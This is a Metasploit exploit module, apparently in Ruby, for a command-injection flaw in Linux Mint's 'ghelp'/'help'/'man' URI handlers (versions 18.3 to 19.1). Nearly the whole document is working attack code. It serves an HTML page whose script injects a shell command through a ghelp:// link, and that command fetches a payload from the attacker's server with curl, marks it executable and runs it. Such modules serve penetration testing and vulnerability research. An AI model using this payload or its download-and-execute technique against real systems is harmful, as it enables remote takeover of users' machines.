This Metasploit module exploits a vulnerability within the "ghelp", "help" and "man" URI handlers within Linux Mint's "ubuntu-system-adjustments" package. Invoking any one the URI handlers will call the python script "/usr/local/bin/yelp" with the contents of the supplied URI handler as its argument. The script will then search for the strings "gnome-help" or "ubuntu-help" and if doesn't find either of them it'll then execute os.system("/usr/bin/yelp %s" % args). User interaction is required to exploit this vulnerability. Versions 18.3 through 19.1 are affected.
314957596e0141c5ba05cd2c7a3cd537##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
# Exploit from github repro: https://github.com/b1ack0wl/linux_mint_poc
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => "Linux Mint 'yelp' URI handler command injection vulnerability",
'Description' => %q{
This module exploits a vulnerability within the "ghelp", "help" and "man" URI handlers within
Linux Mint's "ubuntu-system-adjustments" package. Invoking any one the URI handlers will call
the python script "/usr/local/bin/yelp" with the contents of the supplied URI handler as its argument.
The script will then search for the strings "gnome-help" or "ubuntu-help" and if doesn't find either
of them it'll then execute os.system("/usr/bin/yelp %s" % args). User interaction is required to exploit
this vulnerability.
},
'License' => MSF_LICENSE,
'Author' =>
[
'b1ack0wl' # vuln discovery and exploit dev
],
'Payload' =>
{
'DisableNops' => true
},
'DefaultOptions' =>
{
'WfsDelay' => 60
},
'Platform' => 'linux',
'Targets' =>
[
[ 'Linux Mint 18.3 and 19.1',
{
'Arch' => ARCH_X64
}
]
],
'Privileged' => false,
'DefaultTarget' => 0))
end
def generate_exploit_html()
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
srv_host = datastore['LHOST']
else
srv_host = datastore['SRVHOST']
end
@filename = rand_text_alpha(4)
cmd_inj = "curl http://#{srv_host}:#{datastore['SRVPORT']}/#{@service_path} -o /tmp/#{@filename};chmod 777 /tmp/#{@filename};/tmp/#{@filename} &".gsub(' ','$IFS$()') # Cheap way to add spaces since chrome percent encodes spaces (%20).
html = %Q|
<html>
<head>
<meta content="text/html;charset=utf-8" http-equiv="Content-Type">
<meta content="utf-8" http-equiv="encoding">
<title>paparoachfanclubdotcom</title>
</head>
<body>
<script>
lmao = document.createElement('a');
lmao.href= "ghelp://$(#{cmd_inj})";
document.body.appendChild(lmao); /* Needed to work with Firefox */
lmao.click();
</script>
</body>
</html>
|
return html
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
if agent =~ /curl\/\d/
# Command has been executed. Serve up the payload
exe_payload = generate_payload_exe()
print_status("Sending payload...")
send_response(cli, exe_payload)
register_file_for_cleanup("/tmp/#{@filename}")
return
else
html = generate_exploit_html()
print_status("Sending HTML...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
end
end